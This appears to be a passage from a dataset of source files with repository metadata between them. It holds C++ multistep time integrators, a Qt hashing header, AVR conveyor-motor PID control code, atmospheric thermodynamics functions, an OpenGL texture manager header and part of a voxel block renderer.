1 ) //everything higher than Euler dg::blas1::axpby( alpha[0], m_u[0], alpha[1], m_u[1], u); else dg::blas1::copy( m_u[0], u); //Rotate 1 to the right (note the reverse iterator here!) std::rotate(m_u.rbegin(), m_u.rbegin() + 1, m_u.rend()); if( !m_f.empty()) std::rotate(m_f.rbegin(), m_f.rbegin() + 1, m_f.rend()); m_solver.solve( -m_dt*m_t.im(0), rhs, t, u, m_tmp); l.apply( u, m_u[0]); if( 0 < m_f.size()) rhs( m_tu, m_u[0], m_f[0]); dg::blas1::copy( m_u[0], u); } ///@endcond /** * @brief Implicit multistep time-integration * \f[ * \begin{align} v^{n+1} &= \sum_{i=0}^{s-1} a_i v^{n-i} + \Delta t \sum_{i=1}^{s} c_i\hat I(t^{n+1-i}, v^{n+1-i}) + \Delta t c_{0} \hat I (t + \Delta t, v^{n+1}) \\ \end{align} \f] which discretizes \f[ \frac{\partial v}{\partial t} = \hat I(t,v) \f] where \f$ \hat I \f$ represents the right hand side of the equations. You can use your own coefficients defined as a \c dg::MultistepTableau or use one of the predefined coefficients in @copydoc hide_implicit_multistep_tableaus and (any imex tableau can be used in an implicit scheme, disregarding the explicit coefficients) @copydoc hide_imex_multistep_tableaus * * The necessary Inversion in the implicit part is provided by the \c SolverType class. * Per Default, a conjugate gradient method is used (therefore \f$ \hat I(t,v)\f$ must be linear in \f$ v\f$). For nonlinear right hand side we recommend the AndersonSolver * * @note In our experience the implicit treatment of diffusive or hyperdiffusive terms can significantly reduce the required number of time steps. This outweighs the increased computational cost of the additional inversions. However, each PDE is different and general statements like this one should be treated with care. * @copydoc hide_note_multistep * @copydoc hide_SolverType * @copydoc hide_ContainerType * @ingroup time */ template<class ContainerType, class SolverType = dg::DefaultSolver<ContainerType>> struct ImplicitMultistep { using value_type = get_value_type<ContainerType>;//!< the value type of the time variable (float or double) using container_type = ContainerType; //!< the type of the vector class in use ///@copydoc RungeKutta::RungeKutta() ImplicitMultistep(){} /*! @brief Reserve memory for integration and construct Solver * * @param tableau Tableau, name or identifier that \c ConvertsToMultistepTableau * @param ps Parameters that are forwarded to the constructor of \c SolverType * @tparam SolverParams Type of parameters (deduced by the compiler) */ template<class ...SolverParams> ImplicitMultistep( ConvertsToMultistepTableau<value_type> tableau, SolverParams&& ...ps): m_bdf( tableau, std::forward<SolverParams>(ps)...) {} /** * @brief Perfect forward parameters to one of the constructors * * @tparam Params deduced by the compiler * @param ps parameters forwarded to constructors */ template<class ...Params> void construct(Params&& ...ps) { //construct and swap *this = ImplicitMultistep( std::forward<Params>(ps)...); } ///@copydoc RungeKutta::copyable() const ContainerType& copyable()const{ return m_bdf.copyable();} ///Write access to the internal solver for the implicit part SolverType& solver() { return m_bdf.solver();} ///Read access to the internal solver for the implicit part const SolverType& solver() const { return m_bdf.solver();} ///@copydoc ExplicitMultistep::init() template<class RHS> void init(RHS& rhs, value_type t0, const ContainerType& u0, value_type dt){ dg::IdentityFilter id; m_bdf.init( rhs, id, t0, u0, dt); } ///@copydoc ExplicitMultistep::step() template<class RHS> void step(RHS& rhs, value_type& t, container_type& u){ dg::IdentityFilter id; m_bdf.step( rhs, id, t, u); } private: FilteredImplicitMultistep<ContainerType, SolverType> m_bdf; }; /** * @brief EXPERIMENTAL: General explicit linear multistep time-integration with Limiter / Filter * \f[ * \begin{align} \tilde v &= \sum_{j=0}^{s-1} a_j v^{n-j} + \Delta t\left(\sum_{j=0}^{s-1}b_j \hat f\left(t^{n}-j\Delta t, v^{n-j}\right)\right) \\ v^{n+1} &= \Lambda\Pi \left( \tilde v\right) \end{align} \f] where \f$ \Lambda\Pi\f$ is the limiter, which discretizes \f[ \frac{\partial v}{\partial t} = \hat f(t,v) \f] where \f$ f \f$ contains the equations. The coefficients for an order 3 "eBDF" scheme are given as an example: \f[ a_0 = \frac{18}{11}\ a_1 = -\frac{9}{11}\ a_2 = \frac{2}{11} \\ b_0 = \frac{18}{11}\ b_1 = -\frac{18}{11}\ b_2 = \frac{6}{11} \f] You can use your own coefficients defined as a \c dg::MultistepTableau or use one of the predefined coefficients in @copydoc hide_explicit_multistep_tableaus @note This scheme is the same as ExplicitMultistep with the additional option to use a filter * * @copydoc hide_note_multistep * @copydoc hide_ContainerType * @ingroup time * @attention The filter function inside the Explicit Multistep method is a * somewhat experimental feature, so use this class over * \c dg::ExplicitMultistep at your own risk */ template<class ContainerType> struct FilteredExplicitMultistep { using value_type = get_value_type<ContainerType>;//!< the value type of the time variable (float or double) using container_type = ContainerType; //!< the type of the vector class in use ///@copydoc RungeKutta::RungeKutta() FilteredExplicitMultistep(){} /** * @brief Reserve memory for the integration * * Set the coefficients \f$ a_i,\ b_i\f$ * @param tableau Tableau, name or identifier that \c ConvertsToMultistepTableau * @param copyable ContainerType of the size that is used in \c step * @note it does not matter what values \c copyable contains, but its size is important */ FilteredExplicitMultistep( ConvertsToMultistepTableau<value_type> tableau, const ContainerType& copyable): m_t(tableau) { m_f.assign( m_t.steps(), copyable); m_u.assign( m_t.steps(), copyable); m_counter = 0; } /** * @brief Perfect forward parameters to one of the constructors * * @tparam Params deduced by the compiler * @param ps parameters forwarded to constructors */ template<class ...Params> void construct( Params&& ...ps) { //construct and swap *this = FilteredExplicitMultistep( std::forward<Params>( ps)...); } ///@brief Return an object of same size as the object used for construction ///@return A copyable object; what it contains is undefined, its size is important const ContainerType& copyable()const{ return m_u[0];} /** * @brief Initialize timestepper. Call before using the step function. * * This routine has to be called before the first timestep is made. * @copydoc hide_rhs * @copydoc hide_limiter * @param rhs The rhs functor * @param limiter The limiter or filter to use * @param t0 The intital time corresponding to u0 * @param u0 The initial value of the integration * @param dt The timestep saved for later use * @note the implementation is such that on output the last call to the explicit part \c ex is at \c (t0,u0). This might be interesting if the call to \c ex changes its state. */ template< class RHS, class Limiter> void init( RHS& rhs, Limiter& limiter, value_type t0, const ContainerType& u0, value_type dt); /** * @brief Advance one timestep * * @copydoc hide_rhs * @copydoc hide_limiter * @param rhs The rhs functor * @param limiter The limiter or filter to use * @param t (write-only), contains timestep corresponding to \c u on output * @param u (write-only), contains next step of time-integration on output * @note the implementation is such that on output the last call to the explicit part \c ex is at the new \c (t,u). This might be interesting if the call to \c ex changes its state. * @attention The first few steps after the call to the init function are performed with a Runge-Kutta method */ template< class RHS, class Limiter> void step( RHS& rhs, Limiter& limiter, value_type& t, ContainerType& u); private: dg::MultistepTableau<value_type> m_t; std::vector<ContainerType> m_u, m_f; value_type m_tu, m_dt; unsigned m_counter; //counts how often step has been called after init }; ///@cond template< class ContainerType> template< class RHS, class Limiter> void FilteredExplicitMultistep<ContainerType>::init( RHS& f, Limiter& l, value_type t0, const ContainerType& u0, value_type dt) { m_tu = t0, m_dt = dt; unsigned s = m_t.steps(); l.apply( u0, m_u[s-1]); f(m_tu, m_u[s-1], m_f[s-1]); //call f on new point m_counter = 0; } template<class ContainerType> template<class RHS, class Limiter> void FilteredExplicitMultistep<ContainerType>::step(RHS& f, Limiter& l, value_type& t, ContainerType& u) { unsigned s = m_t.steps(); if( m_counter < s-1) { std::map<unsigned, enum tableau_identifier> order2method{ {1, SSPRK_2_2}, {2, SSPRK_2_2}, {3, SSPRK_3_3}, {4, SSPRK_5_4}, {5, SSPRK_5_4}, {6, SSPRK_5_4}, {7, SSPRK_5_4} }; ShuOsher<ContainerType> rk( order2method.at(m_t.order()), u); rk.step( f, l, t, u, t, u, m_dt); m_counter++; m_tu = t; blas1::copy( u, m_u[s-1-m_counter]); f( m_tu, m_u[s-1-m_counter], m_f[s-1-m_counter]); return; } //compute new t,u t = m_tu = m_tu + m_dt; dg::blas1::axpby( m_t.a(0), m_u[0], m_dt*m_t.ex(0), m_f[0], u); for (unsigned i = 1; i < s; i++){ dg::blas1::axpbypgz( m_t.a(i), m_u[i], m_dt*m_t.ex(i), m_f[i], 1., u); } //permute m_f[s-1], m_u[s-1] to be the new m_f[0], m_u[0] std::rotate( m_f.rbegin(), m_f.rbegin()+1, m_f.rend()); std::rotate( m_u.rbegin(), m_u.rbegin()+1, m_u.rend()); //apply limiter l.apply( u, m_u[0]); blas1::copy( m_u[0], u); //store result f(m_tu, m_u[0], m_f[0]); //call f on new point } ///@endcond /** * @brief General explicit linear multistep time-integration * \f[ * \begin{align} v^{n+1} = \sum_{j=0}^{s-1} a_j v^{n-j} + \Delta t\left(\sum_{j=0}^{s-1}b_j \hat f\left(t^{n}-j\Delta t, v^{n-j}\right)\right) \end{align} \f] which discretizes \f[ \frac{\partial v}{\partial t} = \hat f(t,v) \f] where \f$ f \f$ contains the equations. The coefficients for an order 3 "eBDF" scheme are given as an example: \f[ a_0 = \frac{18}{11}\ a_1 = -\frac{9}{11}\ a_2 = \frac{2}{11} \\ b_0 = \frac{18}{11}\ b_1 = -\frac{18}{11}\ b_2 = \frac{6}{11} \f] You can use your own coefficients defined as a \c dg::MultistepTableau or use one of the predefined coefficients in @copydoc hide_explicit_multistep_tableaus * * @copydoc hide_note_multistep * @copydoc hide_ContainerType @ingroup time */ template<class ContainerType> struct ExplicitMultistep { using value_type = get_value_type<ContainerType>;//!< the value type of the time variable (float or double) using container_type = ContainerType; //!< the type of the vector class in use ///@copydoc RungeKutta::RungeKutta() ExplicitMultistep(){} ///@copydoc FilteredExplicitMultistep::FilteredExplicitMultistep(ConvertsToMultistepTableau<value_type>,const ContainerType&) ExplicitMultistep( ConvertsToMultistepTableau<value_type> tableau, const ContainerType& copyable): m_fem( tableau, copyable){ } /** * @brief Perfect forward parameters to one of the constructors * * @tparam Params deduced by the compiler * @param ps parameters forwarded to constructors */ template<class ...Params> void construct(Params&& ...ps) { //construct and swap *this = ExplicitMultistep( std::forward<Params>(ps)...); } ///@brief Return an object of same size as the object used for construction ///@return A copyable object; what it contains is undefined, its size is important const ContainerType& copyable()const{ return m_fem.copyable();} /** * @brief Initialize timestepper. Call before using the step function. * * This routine has to be called before the first timestep is made. * @copydoc hide_rhs * @param rhs The rhs functor * @param t0 The intital time corresponding to u0 * @param u0 The initial value of the integration * @param dt The timestep saved for later use * @note the implementation is such that on output the last call to the explicit part \c ex is at \c (t0,u0). This might be interesting if the call to \c ex changes its state. */ template< class RHS> void init( RHS& rhs, value_type t0, const ContainerType& u0, value_type dt){ dg::IdentityFilter id; m_fem.init( rhs, id, t0, u0, dt); } /** * @brief Advance one timestep * * @copydoc hide_rhs * @param rhs The rhs functor * @param t (write-only), contains timestep corresponding to \c u on output * @param u (write-only), contains next step of time-integration on output * @note the implementation is such that on output the last call to the explicit part \c ex is at the new \c (t,u). This might be interesting if the call to \c ex changes its state. * @attention The first few steps after the call to the init function are performed with a Runge-Kutta method (of the same order) to initialize the multistepper */ template< class RHS> void step( RHS& rhs, value_type& t, ContainerType& u){ dg::IdentityFilter id; m_fem.step( rhs, id, t, u); } private: FilteredExplicitMultistep<ContainerType> m_fem; }; /** @brief DEPRECATED (use ImExMultistep and select "Karniadakis" from the multistep tableaus) * @ingroup time * @sa dg::ImExMultistep */ template<class ContainerType, class SolverType = dg::DefaultSolver<ContainerType>> struct Karniadakis { using value_type = get_value_type<ContainerType>; using container_type = ContainerType; Karniadakis(){} template<class ...SolverParams> Karniadakis( SolverParams&& ...ps): m_imex( "Karniadakis", std::forward<SolverParams> (ps)...) { } template<class ...Params> void construct( Params&& ...ps) { *this = Karniadakis( std::forward<Params>( ps)...); } const ContainerType& copyable()const{ return m_imex.copyable();} SolverType& solver() { return m_imex.solver();} const SolverType& solver() const { return m_imex.solver();} template< class Explicit, class Implicit> void init( Explicit& ex, Implicit& im, value_type t0, const ContainerType& u0, value_type dt){ m_imex.init( ex, im, t0, u0, dt); } template< class Explicit, class Implicit> void step( Explicit& ex, Implicit& im, value_type& t, ContainerType& u){ m_imex.step( ex, im, t, u); } private: ImExMultistep<ContainerType, SolverType> m_imex; }; } //namespace dg
40.907384
225
0.660701
85cb0a2c13ae6be4f953f9165da61271a2b2fdb7
368
h
C
libraries/codeframe-master/include/utilities/HashUtilities.h
SebastianMilosz/OpenFlatland
e1c478a4ae51b0a7d2b8c942f9185fbb41a2b56f
[ "MIT" ]
1
2020-04-21T10:11:15.000Z
2020-04-21T10:11:15.000Z
libraries/codeframe-master/include/utilities/HashUtilities.h
SebastianMilosz/OpenFlatland
e1c478a4ae51b0a7d2b8c942f9185fbb41a2b56f
[ "MIT" ]
1
2020-07-17T14:38:02.000Z
2020-07-17T14:38:02.000Z
libraries/codeframe-master/include/utilities/HashUtilities.h
SebastianMilosz/OpenFlatland
e1c478a4ae51b0a7d2b8c942f9185fbb41a2b56f
[ "MIT" ]
null
null
null
#ifndef HASHUTILITIES_H #define HASHUTILITIES_H #include <QString> #include <QCryptographicHash> static QString HashString( QString string ) { QByteArray datatext = string.toUtf8().left(1000); QString encodedPass = QString(QCryptographicHash::hash((datatext),QCryptographicHash::Sha256)); return encodedPass; } #endif // HASHUTILITIES_H
23
100
0.736413
85eac68d7c0fad9d756ec5a0888c2cc8cd7102b4
5,862
c
C
src/thermodynamics/thermodynamics.c
MHBalsmeier/game_archived
9f23a580e51fa0e96d43cf7cb254bf2ef686b005
[ "MIT" ]
1
2021-08-01T16:28:39.000Z
2021-08-01T16:28:39.000Z
src/thermodynamics/thermodynamics.c
OpenNWP/game
933238793fd7b9c700494dcc4e239403b066060d
[ "MIT" ]
null
null
null
src/thermodynamics/thermodynamics.c
OpenNWP/game
933238793fd7b9c700494dcc4e239403b066060d
[ "MIT" ]
null
null
null
/* This source file is part of the Geophysical Fluids Modeling Framework (GAME), which is released under the MIT license. Github repository: https://github.com/OpenNWP/GAME */ /* In this file, algebraic conversions and calculations of thermodynamic quantities of a moist atmosphere are collected. indices as usual: d: dry v: water vapour h: humid */ #include <stdio.h> #include <stdlib.h> #include <atmostracers.h> #include "../game_types.h" #include "../game_constants.h" #include "../spatial_operators/spatial_operators.h" #include "thermodynamics.h" int temperature_diagnostics(State *state, Grid *grid, Diagnostics *diagnostics) { /* This function diagnoses the temperature of the gas phase. */ #pragma omp parallel for for (int i = 0; i < NO_OF_SCALARS; ++i) { diagnostics -> temperature_gas[i] = (grid -> theta_bg[i] + state -> theta_pert[i])*(grid -> exner_bg[i] + state -> exner_pert[i]); } return 0; } double spec_heat_cap_diagnostics_v(State *state, int grid_point_index, Config *config) { double rho_g = 0; int no_of_relevant_constituents = 0; if (config -> assume_lte == 0) { no_of_relevant_constituents = NO_OF_GASEOUS_CONSTITUENTS; rho_g = density_gas(state, grid_point_index); } if (config -> assume_lte == 1) { no_of_relevant_constituents = 1; rho_g = state -> rho[NO_OF_CONDENSED_CONSTITUENTS*NO_OF_SCALARS + grid_point_index]; } double result = 0; for (int i = 0; i < no_of_relevant_constituents; ++i) { result += state -> rho[(i + NO_OF_CONDENSED_CONSTITUENTS)*NO_OF_SCALARS + grid_point_index]/rho_g*spec_heat_capacities_v_gas(i); } return result; } double spec_heat_cap_diagnostics_p(State *state, int grid_point_index, Config *config) { double rho_g = 0; int no_of_relevant_constituents = 0; if (config -> assume_lte == 0) { no_of_relevant_constituents = NO_OF_GASEOUS_CONSTITUENTS; rho_g = density_gas(state, grid_point_index); } if (config -> assume_lte == 1) { no_of_relevant_constituents = 1; rho_g = state -> rho[NO_OF_CONDENSED_CONSTITUENTS*NO_OF_SCALARS + grid_point_index]; } double result = 0; for (int i = 0; i < no_of_relevant_constituents; ++i) { result += state -> rho[(i + NO_OF_CONDENSED_CONSTITUENTS)*NO_OF_SCALARS + grid_point_index]/rho_g*spec_heat_capacities_p_gas(i); } return result; } double gas_constant_diagnostics(State *state, int grid_point_index, Config *config) { double rho_g = 0; int no_of_relevant_constituents = 0; if (config -> assume_lte == 0) { no_of_relevant_constituents = NO_OF_GASEOUS_CONSTITUENTS; rho_g = density_gas(state, grid_point_index); } if (config -> assume_lte == 1) { no_of_relevant_constituents = 1; rho_g = state -> rho[NO_OF_CONDENSED_CONSTITUENTS*NO_OF_SCALARS + grid_point_index]; } double result = 0; for (int i = 0; i < no_of_relevant_constituents; ++i) { result += state -> rho[(i + NO_OF_CONDENSED_CONSTITUENTS)*NO_OF_SCALARS + grid_point_index]/rho_g*specific_gas_constants(i); } return result; } double density_total(State *state, int grid_point_index) { double result = 0; for (int i = 0; i < NO_OF_CONSTITUENTS; ++i) { result += state -> rho[i*NO_OF_SCALARS + grid_point_index]; } return result; } double density_gas(State *state, int grid_point_index) { double result = 0; for (int i = 0; i < NO_OF_GASEOUS_CONSTITUENTS; ++i) { result += state -> rho[(i + NO_OF_CONDENSED_CONSTITUENTS)*NO_OF_SCALARS + grid_point_index]; } return result; } double calc_micro_density(double density_macro, double condensates_density_sum) { /* In a moist atmosphere one needs to distinguish between the densities with respect to the whole volume and the densities with respect to exclusively the gas phase. */ double result = density_macro/(1 - condensates_density_sum/RHO_WATER); if (result < 0) { printf("Error: microscopic density is negative.\n"); printf("Aborting.\n"); exit(1); } if (isnan(result)) { printf("Error: microscopic density is nan.\n"); printf("Aborting.\n"); exit(1); } return result; } double calc_condensates_density_sum(int scalar_gridpoint_index, Mass_densities mass_densities) { /* This is only needed for calculating the "micro densities". */ double result = 0; for (int i = 0; i < NO_OF_CONDENSED_CONSTITUENTS; ++i) { result += mass_densities[i*NO_OF_SCALARS + scalar_gridpoint_index]; } if (result < 0) { printf("Error: condensates_density_sum is negative.\n"); printf("Aborting.\n"); exit(1); } if (result >= RHO_WATER) { printf("Error: condensates_density_sum >= RHO_WATER.\n"); printf("Aborting.\n"); exit(1); } return result; } double calc_diffusion_coeff(double temperature, double density) { /* This function calculates the molecular diffusion coefficient according to the kinetic gas theory. */ // these things are hardly ever modified double particle_radius = 130e-12; double particle_mass = mean_particle_masses_gas(0); // actual calculation double thermal_velocity = sqrt(8*K_B*temperature/(M_PI*particle_mass)); double particle_density = density/particle_mass; double cross_section = 4*M_PI*pow(particle_radius, 2); double mean_free_path = 1/(sqrt(2)*particle_density*cross_section); double result = 1.0/3*thermal_velocity*mean_free_path; return result; } double mean_particle_masses_gas(int gas_constituent_id) { // binding to atmostracers return mean_particle_masses_gas_lookup(gas_constituent_id); } double spec_heat_capacities_v_gas(int gas_constituent_id) { // binding to atmostracers return spec_heat_capacities_v_gas_lookup(gas_constituent_id); } double spec_heat_capacities_p_gas(int gas_constituent_id) { // binding to atmostracers return spec_heat_capacities_p_gas_lookup(gas_constituent_id); } double specific_gas_constants(int gas_constituent_id) { // binding to atmostracers return specific_gas_constants_lookup(gas_constituent_id); }
27.265116
163
0.744797
85127b712c21fac20ec5dfddb9b1e1789d288fb7
1,958
h
C
src/TextureManager.h
LeifNode/World-Generator
f9818fb6c5d507eede76141c2687a66f090cbdc1
[ "MIT" ]
16
2015-02-12T20:56:01.000Z
2021-05-31T21:05:41.000Z
src/TextureManager.h
LeifNode/World-Generator
f9818fb6c5d507eede76141c2687a66f090cbdc1
[ "MIT" ]
null
null
null
src/TextureManager.h
LeifNode/World-Generator
f9818fb6c5d507eede76141c2687a66f090cbdc1
[ "MIT" ]
3
2017-02-05T15:52:34.000Z
2018-02-09T08:51:00.000Z
//The MIT License (MIT) // //Copyright (c) 2014 Leif Erkenbrach // //Permission is hereby granted, free of charge, to any person obtaining a copy //of this software and associated documentation files (the "Software"), to deal //in the Software without restriction, including without limitation the rights //to use, copy, modify, merge, publish, distribute, sublicense, and/or sell //copies of the Software, and to permit persons to whom the Software is //furnished to do so, subject to the following conditions: // //The above copyright notice and this permission notice shall be included in //all copies or substantial portions of the Software. // //THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR //IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, //FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE //AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER //LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, //OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN //THE SOFTWARE. #pragma once #include "glStd.h" #include "Texture.h" #include "DDSLoader.h" class TextureManager { public: static TextureManager& getInstance() { static TextureManager instance; return instance; } void clear(); bool loadTexture(const char* path); bool loadCubeMap(const char* path); Texture* getTexture(const char* path); private: TextureManager(); ~TextureManager(); bool loadDDSTexture(const char* path); GLuint loadCubeMapDDSTexture(nv_dds::CDDSImage& image, bool& hasMipmaps); GLuint loadUncompressedDDSTexture(nv_dds::CDDSImage& image, bool& hasMipmaps); GLuint loadCompressedDDSTexture(nv_dds::CDDSImage& image, bool& hasMipmaps); bool loadTGATexture(const char* path); std::string getExtensionFromPath(const char* path); private: std::map<std::string, Texture*> mTextureMap; };
32.098361
79
0.759959
8bf49bacc877621f83b1aba1c9d7afbc1ee547a6
50
h
C
src/qt/include/QtGui/private/qcssutil_p.h
ant0ine/phantomjs
8114d44a28134b765ab26b7e13ce31594fa81253
[ "BSD-3-Clause" ]
46
2015-01-08T14:32:34.000Z
2022-02-05T16:48:26.000Z
src/qt/include/QtGui/private/qcssutil_p.h
ant0ine/phantomjs
8114d44a28134b765ab26b7e13ce31594fa81253
[ "BSD-3-Clause" ]
7
2015-01-20T14:28:12.000Z
2017-01-18T17:21:44.000Z
src/qt/include/QtGui/private/qcssutil_p.h
ant0ine/phantomjs
8114d44a28134b765ab26b7e13ce31594fa81253
[ "BSD-3-Clause" ]
14
2015-10-27T06:17:48.000Z
2020-03-03T06:15:50.000Z
#include "../../../src/gui/painting/qcssutil_p.h"
25
49
0.64
8b8bf10437fc0f1b5013f5fca6bbe9b2463126cd
2,794
c
C
code/main.c
mohamedfarghaly777/INDUSTRIAL-CONVEYOR-BELT
dcb807a8d4b03eadd471897159c3d3fe62e5a2da
[ "MIT" ]
null
null
null
code/main.c
mohamedfarghaly777/INDUSTRIAL-CONVEYOR-BELT
dcb807a8d4b03eadd471897159c3d3fe62e5a2da
[ "MIT" ]
null
null
null
code/main.c
mohamedfarghaly777/INDUSTRIAL-CONVEYOR-BELT
dcb807a8d4b03eadd471897159c3d3fe62e5a2da
[ "MIT" ]
null
null
null
#include "avr/io.h" #include "avr/interrupt.h" #include "LIB/STD_TYPES.h" #include "LIB/BIT_MATH.h" #include "DIO_int.h" #include "ADC_int.h" u8 wanted; u16 u16AdVal; float desired=0.0; float error = 0.0; float action; float serror=0.0; float deferror=0.0; float prev_error=0.0; float final_error=0.0; u8 t1 = 0; u8 t2 = 0; u8 t = 0; float actual_speed=0.0; float kp = 0.8; float ki = 0.2; float kd = 0.4; u8 flag = 0 ; u8 overflows=0; void main(void) { /* ADC PIN0 */ DIO_SetPinDirection(PORTA,PIN0,INPUT); /* PWM PIN OC0 */ DIO_SetPinDirection(PORTB,PIN3,OUTPUT); DIO_SetPinValue(PORTB,PIN3,LOW); //emergency stop button at PORTD PIN2 DIO_SetPinDirection(PORTD,PIN2,INPUT); DIO_SetPinValue(PORTD,PIN2,HIGH); //emergency stop button at PORTD PIN1 DIO_SetPinDirection(PORTD,PIN3,INPUT); DIO_SetPinValue(PORTD,PIN3,HIGH); /*start button*/ DIO_SetPinDirection(PORTD,PIN0,INPUT); /*pull up */ DIO_SetPinValue(PORTD,PIN0,HIGH); /*enable at PORTC PIN0*/ DIO_SetPinDirection(PORTC,PIN0,OUTPUT); /*enable high*/ DIO_SetPinValue(PORTC,PIN0,HIGH); ADC_vidInit(); /*interrupt 0 & 1 configuration*/ MCUCR |= 0x0A; GICR |= 0xC0; /*TIMER 0 */ /* Fast PWM */ SET_BIT(TCCR0,WGM00); SET_BIT(TCCR0,WGM01); /* CLR OC0 on CMP and SET on TOP */ CLR_BIT(TCCR0,COM00); SET_BIT(TCCR0,COM01); /* CLK Prescaler 64 */ SET_BIT(TCCR0,CS00); SET_BIT(TCCR0,CS01); CLR_BIT(TCCR0,CS02); /*TIMER 2 */ /*Normal Mode*/ CLR_BIT(TCCR2,WGM20); CLR_BIT(TCCR2,WGM21); /*initiallization */ TCNT2 =256-62; /* CLK Prescaler 64 */ CLR_BIT(TCCR2,CS20); CLR_BIT(TCCR2,CS21); SET_BIT(TCCR2,CS22); /* Enable Interrupt of OVF */ SET_BIT(TIMSK,TOIE2); /*enable global interrupt*/ sei(); u16AdVal = ADC_u16GetAdValue(ADC_CHANNEL_0); desired=(u8)(((u32)u16AdVal * 100)/1023) ; OCR0 =(u8) (desired * 255)/100; while(1) { if(DIO_GetPinValue(PORTD,PIN0)==0){ DIO_SetPinValue(PORTC,PIN0,HIGH); } } } ISR(INT0_vect) { DIO_SetPinValue(PORTC,PIN0,LOW); } ISR(INT1_vect) { if (flag==0) { t1 = TCNT2; flag=1; } else { t2 = TCNT2; if (t2>=t1){ t = ((t2 - t1)*5.3333); } else if (t1>t2){ t = (((255-t1)+t2)*5.3333); } actual_speed= (1000*60)/(60*t); flag=0; } } ISR(TIMER2_OVF_vect) { overflows++; if (overflows==74) { u16AdVal = ADC_u16GetAdValue(ADC_CHANNEL_0); desired=(u8)(((u32)u16AdVal * 100)/1023) ; prev_error=error; error = desired-actual_speed; serror+=error; action = kp * error + ki * serror + kd * deferror; OCR0 = (u8)(action * 255.0)/100.0; overflows=0; TCNT2 =256-62; } }
14.861702
52
0.60952
6a27681703bea0a12921fa6bd370a11a37c7174d
1,733
h
C
philibs/ui/uibutton.h
prwhite/philibs
3cb65bd0dae105026839a3e88d9cebafb72c2616
[ "Zlib" ]
5
2015-05-12T14:48:03.000Z
2021-07-14T13:18:16.000Z
philibs/ui/uibutton.h
prwhite/philibs
3cb65bd0dae105026839a3e88d9cebafb72c2616
[ "Zlib" ]
null
null
null
philibs/ui/uibutton.h
prwhite/philibs
3cb65bd0dae105026839a3e88d9cebafb72c2616
[ "Zlib" ]
1
2021-04-18T07:32:43.000Z
2021-04-18T07:32:43.000Z
///////////////////////////////////////////////////////////////////// // // class: button // ///////////////////////////////////////////////////////////////////// #ifndef uiuibutton_h #define uiuibutton_h ///////////////////////////////////////////////////////////////////// #include "uibase.h" #include "uievents.h" ///////////////////////////////////////////////////////////////////// namespace ui { ///////////////////////////////////////////////////////////////////// class button : public base { public: button(); //virtual ~button(); //button(button const& rhs); //button& operator=(button const& rhs); //bool operator==(button const& rhs) const; struct buttonEvent : public event { }; struct buttonObserver { virtual void onButtonPressed ( buttonEvent const& event ) {} }; void setButtonObserver ( buttonObserver* pObserver ) { mButtonObserver = pObserver; } buttonObserver* getButtonObserver () const { return mButtonObserver; } protected: buttonObserver* mButtonObserver; private: // interface from base public: protected: // virtual void onMouseDown ( mouseEvent const& event ); // virtual void onMouseDrag ( mouseEvent const& event ); virtual void onMouseUp ( mouseEvent const& event ); // virtual void onAccelEvent ( accelEvent const& event ); // virtual void onKeyEvent ( keyEvent const& event ); // virtual void onSceneEvent ( sceneEvent const& event ); }; ///////////////////////////////////////////////////////////////////// } // end of namespace ui #endif // uiuibutton_h
23.739726
90
0.457011
3a45245deb6cb34e7a5b63b1a5da964a42ba8575
307
h
C
include/kernel_gen.h
CominLab/EPSim
ec6bf69f2992909af0c57a5792951b3ef5c1501c
[ "OLDAP-2.5" ]
null
null
null
include/kernel_gen.h
CominLab/EPSim
ec6bf69f2992909af0c57a5792951b3ef5c1501c
[ "OLDAP-2.5" ]
null
null
null
include/kernel_gen.h
CominLab/EPSim
ec6bf69f2992909af0c57a5792951b3ef5c1501c
[ "OLDAP-2.5" ]
null
null
null
#ifndef __KERNELGEN_H_INCLUDED__ #define __KERNELGEN_H_INCLUDED__ #include <vector> class KernelGen { public: std::vector<double> kernel; double gauss_sigma; double norm_term; KernelGen(); KernelGen(double sigma, int lValue); std::vector<double> & getKernel(); }; #endif
14.619048
40
0.693811
583b34e284843d0924564517dff650527422de81
10,930
c
C
source/craftus/render/blockrender.c
RSDuck/Craftus3DS
8e2505b2c0d99d182fbfa0ffc94c2dc8c070eb1d
[ "Apache-2.0" ]
21
2016-08-14T17:10:00.000Z
2022-01-10T19:43:15.000Z
source/craftus/render/blockrender.c
RSDuck/Craftus3DS
8e2505b2c0d99d182fbfa0ffc94c2dc8c070eb1d
[ "Apache-2.0" ]
null
null
null
source/craftus/render/blockrender.c
RSDuck/Craftus3DS
8e2505b2c0d99d182fbfa0ffc94c2dc8c070eb1d
[ "Apache-2.0" ]
null
null
null
#include "craftus/render/render.h" #include "craftus/render/vbocache.h" #include "craftus/world/chunkworker.h" #include <citro3d.h> #include <stdio.h> #include "vec/vec.h" const world_vertex plantmodel[] = { // First face // Erstes Dreieck {{0, 0}, {0, 0, 0, 255}}, {{1, 1}, {0, 1, 0, 255}}, {{1, 1}, {1, 1, 1, 255}}, // Zweites Dreieck {{1, 1}, {1, 1, 1, 255}}, {{0, 0}, {1, 0, 1, 255}}, {{0, 0}, {0, 0, 0, 255}}, // Zweites face(Rückseite) // Erstes Dreieck {{1, 1}, {0, 1, 0, 255}}, {{0, 0}, {0, 0, 0, 255}}, {{1, 1}, {1, 1, 1, 255}}, // Zweites Dreieck {{1, 1}, {1, 1, 1, 255}}, {{0, 0}, {0, 0, 0, 255}}, {{0, 0}, {1, 0, 1, 255}}, // Drittes face // erstes Dreieck {{1, 0}, {0, 0, 0, 255}}, {{0, 1}, {0, 1, 0, 255}}, {{0, 1}, {1, 1, 1, 255}}, // Zweites Dreieck {{0, 1}, {1, 1, 1, 255}}, {{1, 0}, {1, 0, 1, 255}}, {{0, 0}, {0, 0, 0, 255}}, // Viertes face // erstes dreeck {{1, 0}, {0, 0, 0, 255}}, {{0, 1}, {1, 1, 1, 255}}, {{0, 1}, {0, 1, 0, 255}}, // Zweites Dreieck {{0, 1}, {1, 1, 1, 255}}, {{0, 0}, {0, 0, 0, 255}}, {{1, 0}, {1, 0, 1, 255}}, 